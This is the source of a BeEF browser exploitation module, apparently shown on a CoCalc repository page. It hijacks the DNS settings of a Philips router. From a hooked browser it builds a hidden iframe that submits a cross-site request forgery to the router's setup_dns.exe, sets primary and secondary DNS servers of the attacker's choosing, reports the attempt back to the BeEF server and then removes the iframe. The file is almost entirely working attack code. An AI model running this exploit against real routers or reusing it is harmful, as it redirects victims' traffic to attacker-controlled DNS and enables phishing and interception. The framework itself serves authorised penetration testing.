Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/phillips_dns_hijack/command.js
1875 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var target = 'http://<%= @rhost %>/cgi-bin/setup_dns.exe';
11
var dns1 = '<%= @dns1 %>';
12
var dns2 = '<%= @dns2 %>';
13
var timeout = 15;
14
15
// validate primary DNS server IP address
16
if (!beef.net.is_valid_ip(dns1)) {
17
beef.debug('Invalid Primary DNS server IP address was provided');
18
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
19
return;
20
}
21
var parts = dns1.split('.');
22
var dns1_1 = parts[0];
23
var dns1_2 = parts[1];
24
var dns1_3 = parts[2];
25
var dns1_4 = parts[3];
26
27
// validate secondary DNS server IP address
28
if (!beef.net.is_valid_ip(dns2)) {
29
beef.debug('Invalid Secondary DNS server IP address was provided');
30
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");
31
return;
32
}
33
var parts = dns2.split('.');
34
var dns2_1 = parts[0];
35
var dns2_2 = parts[1];
36
var dns2_3 = parts[2];
37
var dns2_4 = parts[3];
38
39
// change DNS
40
var philips_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [
41
{'type':'hidden', 'name':'page', 'value':'setup_dns'},
42
{'type':'hidden', 'name':'logout', 'value':''},
43
{'type':'hidden', 'name':'dns1_1', 'value':dns1_1},
44
{'type':'hidden', 'name':'dns1_2', 'value':dns1_2},
45
{'type':'hidden', 'name':'dns1_3', 'value':dns1_3},
46
{'type':'hidden', 'name':'dns1_4', 'value':dns1_4},
47
{'type':'hidden', 'name':'dns2_1', 'value':dns2_1},
48
{'type':'hidden', 'name':'dns2_2', 'value':dns2_2},
49
{'type':'hidden', 'name':'dns2_3', 'value':dns2_3},
50
{'type':'hidden', 'name':'dns2_4', 'value':dns2_4}
51
]);
52
53
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
54
55
// clean up
56
cleanup = function() {
57
document.body.removeChild(philips_iframe_<%= @command_id %>);
58
}
59
setTimeout("cleanup()", timeout*1000);
60
61
});
62
63
64